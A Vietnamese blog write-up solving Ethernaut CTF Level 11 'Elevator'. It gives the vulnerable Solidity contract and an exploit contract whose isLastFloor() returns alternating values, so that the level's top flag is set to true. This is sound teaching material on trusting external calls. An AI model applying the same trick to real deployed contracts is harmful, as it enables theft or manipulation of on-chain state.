[Ethernaut CTF] Level 11: Elevator
Level 11: Elevator
Difficulty: ★★☆☆☆
Given contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Target
Tìm cách để lên được tầng cuối (hay nói cách khác là tìm cách để set biến top
= true)
Phân tích
- Ở đây, chúng ta thấy hàm
isLastFloor()
được gọi hai lần => ta chỉ cần override lại hàmisLastFloor()
, gọi hàm lần thứ 1 để set top thành false, lần 2 để set thành true => pass ```solidity if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
## Solution
- Compile và deploy contract này trên remix,sau đó gọi hàm gotoTop với address là contract address của level
```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
interface IElevator {
function goTo(uint _floor) external;
}
contract MyBuilding is Building {
bool public last = true;
function isLastFloor(uint) override external returns (bool) {
last = !last;
return last;
}
function goToTop(address _elevatorAddr) public {
IElevator(_elevatorAddr).goTo(10);
}
}
- Check lại biến top
1 2
await contract.top() true
Submit -> Done
This post is licensed under CC BY 4.0 by the author.